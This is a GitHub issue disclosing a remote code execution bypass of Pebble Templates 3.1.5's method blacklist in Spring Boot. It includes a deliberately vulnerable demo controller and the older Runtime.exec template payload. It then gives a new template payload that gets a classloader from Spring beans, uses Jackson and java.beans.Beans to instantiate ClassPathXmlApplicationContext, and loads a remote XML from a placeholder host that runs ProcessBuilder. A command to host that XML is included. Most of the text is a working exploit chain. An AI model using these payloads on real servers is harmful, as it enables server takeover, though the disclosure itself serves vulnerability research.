Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

command execution vulnerability in pebble 3.1.5(latest) #3

Closed
Y4tacker opened this issue Aug 3, 2022 · 0 comments
Closed

command execution vulnerability in pebble 3.1.5(latest) #3

Y4tacker opened this issue Aug 3, 2022 · 0 comments

Comments

@Y4tacker
Copy link
Owner

Y4tacker commented Aug 3, 2022

Pebble 3.1.5 Bypass

Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot.

First, simply set up an environment with the official documentation:https://pebbletemplates.io/

Pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.2</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>hackingpebble</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>hackingpebble</name>
    <description>hackingpebble</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>io.pebbletemplates</groupId>
            <artifactId>pebble-spring-boot-starter</artifactId>
            <version>3.1.5</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

com.example.hackingpebble.HackingpebbleApplication.java

package com.example.hackingpebble;

import com.mitchellbosecke.pebble.PebbleEngine;
import com.mitchellbosecke.pebble.loader.Loader;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;

@SpringBootApplication
public class HackingpebbleApplication {

    public static void main(String[] args) {
        SpringApplication.run(HackingpebbleApplication.class, args);
    }

}

com.example.hackingpebble.controller.Test.java

package com.example.hackingpebble.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class Test {

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam String template) {
        return template;

    }

}

application.properties

pebble.prefix = templates
pebble.suffix = .pebble

And file structure as follows:
2022-08-03 20 57 15

When we control the parameter template we can render back the specified template file.

In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.

In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods

public class BlacklistMethodAccessValidator implements MethodAccessValidator {
    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};

    public BlacklistMethodAccessValidator() {
    }

    public boolean isMethodAccessAllowed(Object object, Method method) {
        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
        return !methodForbidden;
    }

    private boolean isUnsafeMethod(Method member) {
        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
    }

    private boolean isAnyOfMethods(Method member, String... methods) {
        String[] var3 = methods;
        int var4 = methods.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String method = var3[var5];
            if (this.isMethodWithName(member, method)) {
                return true;
            }
        }

        return false;
    }

    private boolean isMethodWithName(Method member, String method) {
        return member.getName().equals(method);
    }
}

Look at the old version of exploit, loading any class by Class.forName,now,no class

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd) %}

What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass

By debugging we can easily export these beans objects

1

So we have to find some eligible beans among these classes

org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.event.internalEventListenerProcessor
org.springframework.context.event.internalEventListenerFactory
hackingpebbleApplication
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
test
org.springframework.boot.autoconfigure.AutoConfigurationPackages
org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration
propertySourcesPlaceholderConfigurer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration
websocketServletWebServerCustomizer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat
tomcatServletWebServerFactory
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration
servletWebServerFactoryCustomizer
tomcatServletWebServerFactoryCustomizer
org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor
org.springframework.boot.context.internalConfigurationPropertiesBinderFactory
org.springframework.boot.context.internalConfigurationPropertiesBinder
org.springframework.boot.context.properties.BoundConfigurationProperties
org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter
server-org.springframework.boot.autoconfigure.web.ServerProperties
webServerFactoryCustomizerBeanPostProcessor
errorPageRegistrarBeanPostProcessor
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration
dispatcherServlet
spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration
dispatcherServletRegistration
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration
org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration
taskExecutorBuilder
applicationTaskExecutor
spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration
error
beanNameViewResolver
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration
conventionErrorViewResolver
spring.web-org.springframework.boot.autoconfigure.web.WebProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
errorAttributes
basicErrorController
errorPageCustomizer
preserveErrorControllerTargetClassPostProcessor
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration
requestMappingHandlerAdapter
welcomePageHandlerMapping
localeResolver
themeResolver
flashMapManager
mvcConversionService
mvcValidator
mvcContentNegotiationManager
requestMappingHandlerMapping
mvcPatternParser
mvcUrlPathHelper
mvcPathMatcher
viewControllerHandlerMapping
beanNameHandlerMapping
routerFunctionMapping
resourceHandlerMapping
mvcResourceUrlProvider
defaultServletHandlerMapping
handlerFunctionAdapter
mvcUriComponentsContributor
httpRequestHandlerAdapter
simpleControllerHandlerAdapter
handlerExceptionResolver
mvcViewResolver
mvcHandlerMappingIntrospector
viewNameTranslator
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter
defaultViewResolver
viewResolver
requestContextFilter
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration
formContentFilter
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration
pebbleViewResolver
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration
pebbleLoader
springExtension
pebbleEngine
pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties
org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration
mbeanExporter
objectNamingStrategy
mbeanServer
spring.jmx-org.springframework.boot.autoconfigure.jmx.JmxProperties
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration
springApplicationAdminRegistrar
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration
forceAutoProxyCreatorToUseClassProxying
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration
org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration
applicationAvailability
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration
standardJacksonObjectMapperBuilderCustomizer
spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration
jacksonObjectMapperBuilder
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration
parameterNamesModule
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration
jacksonObjectMapper
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration
jsonComponentModule
jsonMixinModule
org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration
org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration
lifecycleProcessor
spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration
stringHttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration
mappingJackson2HttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration
messageConverters
org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration
spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties
org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration
spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties
org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor
org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration
scheduledBeanLazyInitializationExcludeFilter
taskSchedulerBuilder
spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties
org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration
restTemplateBuilderConfigurer
restTemplateBuilder
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration
tomcatWebServerFactoryCustomizer
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration
characterEncodingFilter
localeCharsetMappingsCustomizer
org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
multipartConfigElement
multipartResolver
spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
org.springframework.aop.config.internalAutoProxyCreator

Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object

2

It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class.

Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions

In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.

But...

At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate

    public void validateSubType(DeserializationContext ctxt, JavaType type, BeanDescription beanDesc) throws JsonMappingException {
        Class<?> raw = type.getRawClass();
        String full = raw.getName();
        if (!this._cfgIllegalClassNames.contains(full)) {
            if (raw.isInterface()) {
                return;
            }

            if (full.startsWith("org.springframework.")) {
                Class cls = raw;

                while(true) {
                    if (cls == null || cls == Object.class) {
                        return;
                    }

                    String name = cls.getSimpleName();
                    if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
                        break;
                    }

                    cls = cls.getSuperclass();
                }
            } else if (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
                return;
            }
        }

        ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", new Object[]{full});
    }

What to do at this time? We found a class called java.beans.Beans in jre.

The instantiate method of this class can help us instantiate arbitrary methods.

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
  return Beans.instantiate(cls, beanName, null, null);
}

Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.

if (result == null) {
  // No serialized object, try just instantiating the class
  Class<?> cl;

  try {
    cl = ClassFinder.findClass(beanName, cls);
  } catch (ClassNotFoundException ex) {
    // There is no appropriate class.  If we earlier tried to
    // deserialize an object and got an IO exception, throw that,
    // otherwise rethrow the ClassNotFoundException.
    if (serex != null) {
      throw serex;
    }
    throw ex;
  }

  if (!Modifier.isPublic(cl.getModifiers())) {
    throw new ClassNotFoundException("" + cl + " : no public access");
  }

  /*
             * Try to instantiate the class.
             */

  try {
    result = cl.newInstance();
  } catch (Exception ex) {
    // We have to remap the exception to one in our signature.
    // But we pass extra information in the detail message.
    throw new ClassNotFoundException("" + cl + " : " + ex, ex);
  }
}

So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.

So by stringing these points together we can easily get the following payload

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxx.xxx.xxx/1.xml") }}
{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

with http server in your vps

python3 -m http.server 80

Successfully triggered command execution by template file called rce.pebble
3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant